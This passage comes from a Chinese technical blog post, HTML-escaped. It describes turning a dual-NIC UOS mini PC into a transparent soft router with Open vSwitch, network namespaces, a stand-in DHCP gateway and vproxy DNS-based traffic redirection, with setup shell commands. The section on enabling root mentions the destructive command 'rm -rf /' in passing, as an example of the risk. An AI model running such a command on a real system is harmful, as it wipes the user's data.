&lt;li&gt;DHCP配置掩码&#x2F;24&lt;&#x2F;li&gt;
&lt;li&gt;DHCP配置DNS服务器192.168.3.21（即vproxy服务器）&lt;&#x2F;li&gt;
&lt;li&gt;DHCP配置可分配网段从192.168.3.65到127&lt;&#x2F;li&gt;
&lt;li&gt;vproxy配置ip分配的网段192.168.3.128&#x2F;25（这是192.168.3.0&#x2F;24的子段，也就是说所有的IP都是同一个网段下的）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;拓扑如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;                                                         +----------+
                                                   +-----| Synology |(vproxy)
                                                   |     +----------+
   192.168.1.0&amp;#x2F;24                                  |
     +-------+     +----+               +----+     |     +----+
&amp;lt;----| Modem |-----| R1 | ...))) (((... | R2 |-----+-----| PC |
     +-------+     +----+               +----+     |     +----+
               192.168.3.0&amp;#x2F;24                      |
                                                   |     +---------+
                                                   +-----| MacMini |
                                                         +---------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;拿&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zhihu.com&#x2F;&quot;&gt;http:&#x2F;&#x2F;zhihu.com&lt;&#x2F;a&gt;举例，假设&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zhihu.com&#x2F;&quot;&gt;http:&#x2F;&#x2F;zhihu.com&lt;&#x2F;a&gt;在配置的域名规则内，那么客户端访问&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;zhihu.com&#x2F;&quot;&gt;http:&#x2F;&#x2F;zhihu.com&lt;&#x2F;a&gt;时的顺序为：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;客户端请求vproxy dns：查询&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;对应的A记录&lt;&#x2F;li&gt;
&lt;li&gt;vproxy检查配置，发现&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;需要处理，则在配置的网段内分配一个ip：&lt;code&gt;192.168.3.135&lt;&#x2F;code&gt;，并记录ip和域名&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;的对应关系&lt;&#x2F;li&gt;
&lt;li&gt;vproxy将&lt;code&gt;192.168.3.135&lt;&#x2F;code&gt;响应给客户端&lt;&#x2F;li&gt;
&lt;li&gt;客户端发起https请求：&lt;code&gt;192.168.3.135:443&lt;&#x2F;code&gt; ，这是一条TCP连接&lt;&#x2F;li&gt;
&lt;li&gt;vproxy接受连接，从映射关系中，找到&lt;code&gt;192.168.3.135&lt;&#x2F;code&gt;对应的域名&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;vproxy执行针对&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;的流量处理&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这里有一个关键点：vproxy要同时监听整个&#x2F;25网段的所有ip的所有端口。这自然不是傻乎乎的监听那么多地址&lt;code&gt;（2^(32-25) * 65535)&lt;&#x2F;code&gt;。要监听整个网段的所有端口，可以通过local路由和transparent proxy来实现，只开一个监听socket即可完成。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里提一下，Envoy作为Istio sidecar时，也可以使用这种监听方式。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原理具体可见Cloudflare的一篇博客：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;cloudflare-spectrum-blog.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.cloudflare.com&#x2F;how-we-built-spectrum&#x2F;&quot;&gt;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.cloudflare.com&#x2F;how-we-built-spectrum&#x2F;Abusing Linux&#x27;s firewall: the hack that allowed us to build Spectrumblog.cloudflare.com&#x2F;how-we-built-spectrum&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上述这种流程（通过域名做负载处理）的好处是，无需处理的域名的流量不会经过vproxy，没有性能损耗；并且只要是用域名访问的服务，就都能享受到统一的负载处理。而现在的互联网环境，绝大多数站点都是通过域名提供服务的，也就是说绝大多数请求都可以享受负载处理。&lt;&#x2F;p&gt;
&lt;p&gt;但是这个网络有不少问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;R1不支持配置在DHCP中配置DNS服务器，也不支持配置默认网关&lt;&#x2F;li&gt;
&lt;li&gt;有一部分设备无法访问群晖上的DHCP服务（抓包看discovery广播包都没收到，猜测是有安全限制）&lt;&#x2F;li&gt;
&lt;li&gt;R1和群晖都开DHCP，在R1附近结果都是R1的，在R2附近DHCP结果是随机的。这就是同一个广播域中多个DHCP服务器的冲突问题&lt;&#x2F;li&gt;
&lt;li&gt;虚拟机占用群晖资源，一些管控操作非常卡。关闭虚拟机后，进入群晖管理页面只要几秒钟，开启虚拟机后需要半分钟甚至一分钟&lt;&#x2F;li&gt;
&lt;li&gt;虚拟机没有硬盘相关的优化，群晖的硬盘无法正常休眠&lt;&#x2F;li&gt;
&lt;li&gt;在R1上有一次NAT，在光猫上还有一次NAT，性能略微有些不必要的损失&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;ji-yu-ovsde-quan-xin-wang-luo-fang-an&quot;&gt;基于OVS的全新网络方案&lt;&#x2F;h2&gt;
&lt;p&gt;其实我想要重新组网是因为看到了一款国产兆芯x86CPU的小机器。这款电脑使用UOS（Debian），外形也比较小巧。
最关键的是，它有两个网口。&lt;&#x2F;p&gt;
&lt;p&gt;x86机器、双网口，可以玩起来了！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zu-wang-mu-biao&quot;&gt;组网目标&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;网络中只增加这一台新机器（后续简称R0）&lt;&#x2F;li&gt;
&lt;li&gt;使用机器自带的UOS，不重装操作系统&lt;&#x2F;li&gt;
&lt;li&gt;使用光猫做拨号和NAT，即光猫的路由模式&lt;&#x2F;li&gt;
&lt;li&gt;整个网络不感知R0，即机器看到的网关地址、DHCP地址、DNS地址，均为光猫的地址&lt;&#x2F;li&gt;
&lt;li&gt;R0处理DHCP、DNS，以及在R0上使用&lt;code&gt;vproxy&lt;&#x2F;code&gt;进行流量处理&lt;&#x2F;li&gt;
&lt;li&gt;光猫不做任何修改，即R0不但要对下联透明，还要对上联的光猫透明，就好像网络中根本不存在这个设备一样&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;shi-xian-fang-an&quot;&gt;实现方案&lt;&#x2F;h3&gt;
&lt;p&gt;该网络中需要定制的内容非常多，理论上用iptables配合策略路由也是可以处理的，但是性能会比较差。这里先放一放，后面附录中我会把纯iptables的思路写一下。&lt;&#x2F;p&gt;
&lt;p&gt;而OVS可以操作2-4层所有报文，可以向任意物理网卡和虚拟网卡转发网络包，流表配置也简单方便。若使用OVS，不管是从性能考虑，还是从维护性和扩展性考虑，都会更有优势。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wang-luo-tuo-bu&quot;&gt;网络拓扑&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt; +----------------------------------------------------------+
 | +-----------+ +-------------------+ +------------------+ |
 | | netns: gw | |   netns: vproxy   | |                  | |
 | |           | |                   | |                  | |
 | |   dhcp    | |    dns,traffic    | |  ssh,vnc,other   | |
 | |           | |                   | |                  | |
 | |  +-----+  | |    +---------+    | |    +-------+     | |
 | |  | gw0 |  | |    | vproxy0 |    | |    | veth0 |     | |
 | |  +--+--+  | |    +----+----+    | |    +---+---+     | |
 | +-----|-----+ +---------|---------+ +--------|---------+ |
 |       |                 |                    |           |
 |       +-------+         |         +----------+           |
 |               |         |         |                      |
 |          +----|---------|---------|-----+                |
 |          | +--+--+ +----+---+ +---+---+ |                |
 |          | | vgw | | vproxy | | admin | |                |
 |          | +-----+ +--------+ +-------+ |                |
 |          |           OVS-BR             |                |
 |          | +--------+      +----------+ |                |
 |          | | uplink |      | downlink | |                |
 |          | +---+----+      +----+-----+ |                |
 |          +-----|----------------|-------+                |
 |                |       R0       |                        |
 +----------------|----------------|------------------------+
                  |                |
   192.168.1.1&amp;#x2F;24 |                |
     +-------+    |                |     +----+           +----+
&amp;lt;----| Modem |----+                +-----| R1 | .))) (((. | R2 |--+
     +-------+                           +----+           +----+  |
                                        ap bridge                 |
                                                                  |
                                                                  |
                                            Devices... -----------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;光猫使用路由模式&lt;&#x2F;li&gt;
&lt;li&gt;光猫下面接R0&lt;&#x2F;li&gt;
&lt;li&gt;R0内部一个网口作上联（uplink），一个网口作下联（downlink）。并开两个ns，一个把自己虚拟成光猫（&lt;code&gt;netns: gw&lt;&#x2F;code&gt;），并且跑dhcp；另一个跑DNS和流量处理（&lt;code&gt;netns: vproxy&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;使用veth将两个ns连接到br上，将上联、下联物理网口也加入br中，并开一个veth0连接到协议栈上，以便登录机器&lt;&#x2F;li&gt;
&lt;li&gt;R0下联接R1，R1跑ap bridge，R2中继，并通过网线连接PC等设备&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;wang-luo-gui-ze&quot;&gt;网络规则&lt;&#x2F;h3&gt;
&lt;p&gt;这里涉及的内容比较多，我们从“让一台机器正常上网”的报文顺序一条一条分析。&lt;&#x2F;p&gt;
&lt;p&gt;当一台设备加入网络时，该设备会发出DHCP discovery广播，尝试获取网络配置信息（ip、网段、网关、dns服务器等）。这时，我们要把DHCP请求（包括广播和单播）发送给图中的&lt;code&gt;netns:gw&lt;&#x2F;code&gt;。
后续的DHCP操作，可能均为广播，也可能会出现单播；不过无论是哪种报文，凡是客户端发送给服务端的DHCP包，都必须发送给&lt;code&gt;netns:gw&lt;&#x2F;code&gt;，而不能发送给光猫。
服务端发送给客户的的DHCP包，理论上无需特殊处理，但是为了避免实现细节问题，可以直接配一条规则：从DHCP服务器出来的的DHCP包一律向下联发送；由于R0机器上的所有ip都会配置为静态ip，所以R0自身无需DHCP，一股脑往下联发就足够了。此外，还需屏蔽从上联过来的任何DHCP包，防止光猫扰乱DHCP。&lt;&#x2F;p&gt;
&lt;p&gt;这些规则配上后，客户端即可正常通过DHCP获取ip了。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们还是拿知乎为例，并且假定我们需要处理客户端访问知乎的流量。
假如设备想要访问&lt;code&gt;zhihu.com&lt;&#x2F;code&gt; ，首先设备想要知道&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;对应的ip地址。设备想要发起DNS请求，但此时设备只知道DNS服务器的ip而不知道mac，于是它需要发送ARP来获取DNS服务器的mac地址。
由于DNS ip就是光猫ip，所以这一步直接让光猫响应即可，无需特殊配置。当然，这里做一层arp代答也可以，只不过没什么必要。&lt;&#x2F;p&gt;
&lt;p&gt;后续设备会发起DNS请求，我们需要配置流表，将DNS请求导入&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这里注意，由于客户端想访问光猫，所以包的目的mac是光猫的mac，为了让linux能够处理报文，我们还需要将这个包的目的mac改为&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;中虚拟网口的mac。后文会出现多次将包导入其他网口的描述，只要这个包不是广播包，那么就需要修改mac。&lt;&#x2F;p&gt;
&lt;p&gt;收到DNS请求后，vproxy会传回DNS响应。这是一个单播UDP包。在发出前也会通过arp拿到请求者的mac。这一步也无需特殊流表。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里稍微留意一下，假如vproxy收到的DNS请求是无需处理的域名，或者请求类型不是A或者AAAA记录，那么它需要向光猫代理该DNS请求，这是需要在流表中体现的，后文会说到。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;现在设备已经拿到了&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;对应的ip地址。由于&lt;code&gt;zhihu.com&lt;&#x2F;code&gt;是需要处理的域名，所以这个ip地址是由vproxy分配的一个假地址（我经常用&lt;code&gt;100.64.96.0&#x2F;11&lt;&#x2F;code&gt;这个段），由于这个假地址是LAN&lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;以外的，所以设备会将包发给默认网关，也就是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;。这里我们要加这样的流表：把目的地址为“假地址网段”的包导入&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;netns: vproxy&lt;&#x2F;code&gt;中，通过transparent proxy，vproxy可以accept该连接，并可以通过连接的local ip在内存里找到其对应的域名。此时vproxy想知道该域名对应的真实的ip地址，所以它会向光猫&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;发起DNS请求。
当然，为了发出DNS包，首先还是会发送arp查询&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;的mac，之后才是发送单播UDP。&lt;&#x2F;p&gt;
&lt;p&gt;在ARP这一步并不需要什么特殊处理。
在DNS这一步，由于上面一个步骤将DNS包一股脑的全导入了&lt;code&gt;netns: vproxy&lt;&#x2F;code&gt;，所以在这里我们需要通过流表来保证，从&lt;code&gt;vproxy0&lt;&#x2F;code&gt;出来的DNS请求包，必须能够正常地流出，不能再导回到&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;中，或者，也可以明确指定：从&lt;code&gt;vproxy0&lt;&#x2F;code&gt;出来的DNS请求包，都要送到上联（光猫） 去。&lt;&#x2F;p&gt;
&lt;p&gt;接下来vproxy会做实际的TCP转发，这一步无需任何特殊配置。&lt;&#x2F;p&gt;
&lt;p&gt;上述流程走下来，设备看到的网关、DHCP地址、DNS地址均为&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;，但是实际上流量已经被悄悄地处理过了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;ovs-vproxy-traffic-flow.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;设备看到的都是192.168.1.1&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-kan-kan-she-bei&quot;&gt;先看看设备&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;uos&quot;&gt;UOS&lt;&#x2F;h3&gt;
&lt;p&gt;这台电脑的CPU是兆芯，操作系统是UOS。国产CPU配国产操作系统，没毛病。UOS是deepin的商业版，而deepin是基于debian的。所以Debian能用的，UOS理论上都能用，Debian的使用方式大部分也能搬过来。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;neofetch-uos-system-info.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;neofetch截图&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wang-luo&quot;&gt;网络&lt;&#x2F;h3&gt;
&lt;p&gt;从网络管理界面可以看到，有两个有线网络和一个无线网络。实测下来发现开启有线网络的情况下，即使删除了默认的网络配置，每次重启后还是会自动生成网络配置。我们的网络方案中需要将两块有线网卡全部纳入OVS管理，这里我们直接禁用这两块网卡。
比较“幸运”的是，在这个界面里禁用网卡、再去终端里用&lt;code&gt;ip link set xx up&lt;&#x2F;code&gt;拉起网卡后，这个控制界面里的网卡依旧是禁用的。看来上层UI和底层是分离的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;disable-all-nics-webui.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在界面上禁用所有网卡&lt;&#x2F;p&gt;
&lt;p&gt;这里的无线网卡可以用hostapd做无线网络，不过该技术不在本文介绍的范围内，暂且略过吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dian-yuan-guan-li&quot;&gt;电源管理&lt;&#x2F;h3&gt;
&lt;p&gt;刚开机的时候风扇声音呼呼得，吓了我一跳。如果按这个分贝就别当软路由了，吵都能吵死。于是我想看看有没有省电模式或者低性能模式。进入电源管理，果然有个节能模式。
开启节能模式后风扇声音马上变小了，只有靠近才能听到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;uos-power-save-mode.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;开启节能模式&lt;&#x2F;p&gt;
&lt;p&gt;顺便在电源管理里把“关闭显示器”改成了1分钟，“自动锁屏”改成了1分钟，“进入待机”改成了“从不”。还好是进来看了一眼，不然过一会就给我自动待机了。这里按电源按钮时，本来是“无任何操作”，我改成了“关机”。这样不用时直接按一下电源就能关掉，不需要SSH或者VNC连上去操作了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;disable-auto-suspend-setting.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;禁止自动待机&lt;&#x2F;p&gt;
&lt;p&gt;为了进一步节约能源（虽然可能没啥用），可以进入蓝牙管理，把蓝牙关掉。目前暂时没在用任何蓝牙相关的功能，以后看看能不能发掘一些特殊的玩法把。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;geng-xin&quot;&gt;更新&lt;&#x2F;h3&gt;
&lt;p&gt;当时刚打开机器时还有几个更新项，我直接全给他更了。这里“更新”里面的项目可以全部禁用。不过其实它并不会自动安装。我干脆就一直开启了，在空闲时再VNC进去手动进行安装和重启。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;soft-router-update-settings.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更新设置可以全部关掉&lt;&#x2F;p&gt;
&lt;p&gt;更新其实用的也是apt。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;uos-apt-update-progress.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更新中&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;uos-update-progress.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更新后可能需要重启&lt;&#x2F;p&gt;
&lt;p&gt;正写这篇文章时候刚好检测到新补丁，更新了一把～&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jin-cheng-guan-li&quot;&gt;进程管理&lt;&#x2F;h3&gt;
&lt;p&gt;UOS自带一个“系统监视器”。VNC进去当监控图表看也不是不行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;uos-system-monitor.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;root&quot;&gt;Root&lt;&#x2F;h3&gt;
&lt;p&gt;这里是重中之重。只有在root下才能装ovs，执行我们的SDN软路由配置。UOS允许开启root，但是注意！注意！注意！&lt;strong&gt;一旦开启root，设备将失去保修！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这其实也算是商家的一种自保手段。因为root后，debian能干的事UOS都能干。就不说&lt;code&gt;rm -rf &#x2F;&lt;&#x2F;code&gt;了，刷个固件啥的玩坏也都是有可能的。对这种约束表示理解。&lt;&#x2F;p&gt;
&lt;p&gt;在“控制中心-&amp;gt;通用-&amp;gt;开发者模式”里，可以“进入开发者模式”。点击后会弹出确认框。接下来需要注册一个UOS账号，登录账号后才能进入开发者模式。好在注册流程比较简单，也没啥花里胡哨的限制。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;uos-developer-mode-root.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;开启root&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhun-bei-jiu-xu&quot;&gt;准备就绪！&lt;&#x2F;h3&gt;
&lt;p&gt;接下来就可以打开终端，开始第一步配置了！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-cao-huan-jie&quot;&gt;实操环节&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-rang-wo-neng-sshjin-qu&quot;&gt;1. 让我能ssh进去&lt;&#x2F;h3&gt;
&lt;p&gt;老是抱着个小屏幕加临时的键鼠做配置显然不太方便。
我们第一步就是要让网络能跑通，并且能够从其他设备上ssh进去。后续其他配置做起来就会比较舒服了。&lt;&#x2F;p&gt;
&lt;p&gt;打开终端，&lt;code&gt;sudo &#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;输入密码进入root。&lt;&#x2F;p&gt;
&lt;p&gt;然后把ovs装上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt-get update
apt-get install openvswitch-switch
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着建网桥，然后把两块网卡加进去。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-vsctl add-br ovsbr0 # 网桥的名字是ovsbr0
ovs-vsctl add-port ovsbr0 enp5s0
ovs-vsctl add-port ovsbr0 enp1s0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的网卡名可以通过&lt;code&gt;ip link&lt;&#x2F;code&gt; 查看。我的网卡名是&lt;code&gt;enp5s0&lt;&#x2F;code&gt;和&lt;code&gt;enp1s0&lt;&#x2F;code&gt;，这个命名规则和PCIe插槽有关，总之定下来了就不会再变了。而OVS网桥和端口信息，都是会由ovsdb持久化下来的，所以这里的配置是一劳永逸，后续无需写启动脚本做配置。&lt;&#x2F;p&gt;
&lt;p&gt;配置后，OS其实可以看作没有网卡。两块网卡都是&lt;code&gt;master ovs-system&lt;&#x2F;code&gt;，表示由ovs接管。我们需要创建一个虚拟网卡，把OS接到网桥里。&lt;&#x2F;p&gt;
&lt;p&gt;这里使用&lt;code&gt;veth&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;创建一对veth，一端插在OS上，一端插在网桥里：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip link add veth0 type veth peer name veth0-in-br
ip link set veth0-in-br up
ovs-vsctl add-port ovsbr0 veth0-in-br
ip link set veth0 address 5c:85:00:00:00:02 # 这里mac作了抹去处理，配置后面解释
ip link set veth0 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里有一个操作，是给虚拟网卡配置mac。注意，这里的mac需要和上联网卡保持一致。这个环境中，所谓的“上联”网卡就是接到光猫上的那块网卡。mac地址可以用&lt;code&gt;ip link&lt;&#x2F;code&gt;查看。&lt;&#x2F;p&gt;
&lt;p&gt;这里解释下为什么要给虚拟设备配mac。我们这块虚拟网卡的“角色”，其实就是“上联”网卡，把mac地址配成上联是一件很自然的事。mac地址还包含了厂商信息，使用物理网卡的mac地址，路由器可以分辨出这台机器是什么设备。遇到网络问题时（例如ip冲突），抓包看到源mac地址后，也可以去搜索该mac对应的厂商，进而猜测是哪台设备在发包。
一句话总结：对外透明、方便维护。&lt;&#x2F;p&gt;
&lt;p&gt;说个题外话，玩过OVS的应该知道OVS有一个&lt;code&gt;type = internal&lt;&#x2F;code&gt;的虚拟网络设备，它就是一个从网桥连出来的设备。但是我们不用它。internal口是一个和网桥强绑定的设备，而veth是两个设备，一个设备塞进网桥后，另一个设备依然可以自由操作。docker和k8s社区也有基于ovs实现网络方案的项目，一般也都不使用internal口，主要还是考虑netns和设备改名的问题。我们这里随大流，用veth这种更加广泛使用的方案。&lt;&#x2F;p&gt;
&lt;p&gt;虚拟网口现在正常了，接下来给veth0配置ip，并且配上默认路由，让这台机器能正常联网。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip addr add 192.168.1.8&amp;#x2F;24 dev veth0
ip route add default via 192.168.1.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如之前通过dhcp获取过ip，那么最好是复用之前拿到过的ip，和光猫上的DHCP租约相一致。这么做的原因无他，唯洁癖耳。&lt;&#x2F;p&gt;
&lt;p&gt;网络配置完成，把sshd起起来。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl enable sshd
systemctl start sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为公钥比较长，输入麻烦，我们可以先允许密码登录，登进去复制粘贴公钥后，再换成公钥登录。这跟网络无关，就不展开了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-pei-zhi-netns-vproxy&quot;&gt;2. 配置netns: vproxy&lt;&#x2F;h3&gt;
&lt;p&gt;我们把vproxy相关的网络环境配在一个单独的netns里，可以隔离网卡和iptables等规则，也可以防止误操作。&lt;&#x2F;p&gt;
&lt;p&gt;先看一下我们要实现的功能。客户端会对网关地址（也就是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;）来发起DNS请求。 在接收到请求后，vproxy可能返回虚地址，也可能需要代理DNS请求给网关，并且，这个netns里面的程序正常运行时也可能要发起DNS请求。&lt;&#x2F;p&gt;
&lt;p&gt;这里我们用OVS把所有DNS请求（udp，目的端口53）全部导入这个netns里，并且在netns里配置一条iptables规则，在NAT表的PREROUTING链里，把所有目的地址为&lt;code&gt;udp,192.168.1.1:53 &lt;&#x2F;code&gt;的包都REDIRECT到本地。&lt;&#x2F;p&gt;
&lt;p&gt;由于PREROUTING是包刚从网卡出来时走的链，隐含意思就是“入方向”。在出方向并不会走这条链，所以出去的目的地址为192.168.1.1的包不会受影响。&lt;&#x2F;p&gt;
&lt;p&gt;流程如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Client ---192.168.1.1:53---&amp;gt; OVS -&amp;gt; NetNS --REDIRECT--127.0.0.1:53--&amp;gt; vproxy
vproxy ---192.168.1.1:53---&amp;gt; OVS -&amp;gt; Uplink ----&amp;gt; GW
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先配置netns和虚拟网卡。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip netns add vproxy
ip link add vp-veth0 type veth peer name vp-veth0-in-br
ovs-vsctl add-port ovsbr0 vp-veth0-in-br
ip link set vp-veth0-in-br up
ip link set vp-veth0 netns vproxy
ip netns exec vproxy ip link set vp-veth0 address d6:00:00:00:00:bf
ip netns exec vproxy ip link set vp-veth0 up
ip netns exec vproxy ip addr add 192.168.1.9&amp;#x2F;24 dev vp-veth0
ip netns exec vproxy ip route add default via 192.168.1.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里创建了一个veth pair，把其中一端加到网桥里，另一端挂到netns里。并且在netns里配置ip和默认路由。这里注意，当虚拟网卡创建时，自动就会分配一个mac地址，这里可以记录一下这个mac地址，以后每次重启都给网卡分配这个mac。这样对其他设备来说，&lt;code&gt;192.168.1.9&lt;&#x2F;code&gt;这个ip对应的mac都不会有变化。这是一个习惯性问题，可以避免一些莫名其妙的网络异常，比如arp缓存失效之类的。此外，由于局域网内的设备总是想要给光猫发包，而其对应的mac地址显然和veth设备的mac地址不同。这时我们想把包发到这个veth设备上，就必须把包的目的mac改掉。这个操作会写成流表，把mac固定下来的话，写流表会更加方便。&lt;&#x2F;p&gt;
&lt;p&gt;接下来配置OVS。匹配下联网口进来的、目的端口53的udp包，把它送到netns的网口上。要送到netns的网口&lt;code&gt;vp-veth0&lt;&#x2F;code&gt;上，就要把包往网桥里面的&lt;code&gt;vp-veth0-in-br&lt;&#x2F;code&gt;上发。&lt;&#x2F;p&gt;
